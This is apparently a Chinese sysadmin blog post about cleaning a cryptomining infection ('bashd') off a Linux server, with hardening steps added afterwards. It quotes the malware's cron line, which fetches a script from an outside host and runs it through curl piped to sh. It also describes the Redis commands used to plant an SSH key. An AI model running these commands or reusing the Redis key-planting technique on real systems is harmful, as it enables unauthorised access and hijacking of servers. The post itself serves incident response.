1. 程式人生 > >服務器挖礦病毒的排查過程

服務器挖礦病毒的排查過程

挖礦


今天同事反饋公司的某臺服務器遠程連接不上,登錄服務器查看後,發現CPU使用率居高不下。kill掉後,一分鐘有自動生成,整個排查思路如下:

1、top 命令查看主機負載,確認可疑進程為bashd

2、確認可疑進程嘗試殺掉,pkill bashd ,但發現一會就出現,懷疑有定時任務

3、 排查定時任務,定時任務有2處可以設置,如下:

crontab –l 發現並沒有定時任務

/etc/crontab 確實有定時任務,將其刪除


4、檢查開機自啟動設置/etc/rc.loacl,果然放入了啟動任務,將其刪除。

5、 #find /-name bashd*

/root/bashd

/usr/sbin/bashd

查找bashd,發現有2/usr/sbin/bash 刪除後1分鐘自動生成,/root/bashd 刪除時提示rm 命令錯誤,使用想到查看其權限,

#chattr –i /root/bashd

#rm –rf /root/bashd #修改權限後可以刪除了

6、可能是免密登錄了,去/root/.ssh目錄,果然有可疑的文件存在 bash

7、 ssh配置文件/etc/ssh/sshd_config中也看到把authorizeKEYfile指向了這個文件(bash.猜想是這樣的,通過authorized_keys免秘鑰登錄後,在這個目錄下創建了bash文件,修改了AuthorizedKeyfile的指向,root也設置了遠端登錄。


那麽是寫進來authorized_keys的那?

應該是redis未授權導致的,也就是說外網可以直接不用密碼登錄我的redis, 連上redis後,通過以下命令即可創建文件:

config set dir /root/.ssh

config set dbfilenameauthorized_keys

set key value,其中value為生成公鑰,即可將公鑰保存在服務器,使得登錄時不需要輸入賬號與密碼。

8、 先堵住免登錄漏洞

1)、修改ssh 端口號

2)、禁止root登錄

3)、修改無密碼登陸文件的路徑

4)、刪除.ssh 下的bashd

5)、外網只映射80

22,關閉其他端口。

9、經過一頓折騰,總算把漏洞堵住了,病毒也刪除了,重啟後觀察半小時,服務器正常。


總結:大概是這樣的

1)把 */1* * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh 寫入crontab

2)創建免登錄文件/root/.ssh/bash,修改ssh配置authorized_keys指向.ssh/bash,重啟

3)curl下載/opt/KHK75NEOiq33 這個文件,並執行安裝(/opt/KHK75NEOiq33--Install),然後啟動bashd

殺毒過程:

1) top 檢查可疑進程,pkill 殺死進程,如果進程還能存在,說明一定有定時任務或守護進程(開機啟動),檢查/var/spool/cron/root /etc/crontab /etc/rc.lcoal

2) 找到可疑程序的位置將其刪除,如果刪除不掉,查看隱藏權限。lsattr chattr 修改權限後將其刪除即可。

3) 查看/root/.ssh/目錄下是否設置了免秘鑰登陸,並查看ssh_config配置文件是否被篡改。

4) 在防火墻關閉不必要的映射端口號,重啟再測試是否還會有可疑進程存在。大致就這幾個方面的考慮。


到此為止,由於時間關系就沒有放截圖上來。

服務器挖礦病毒的排查過程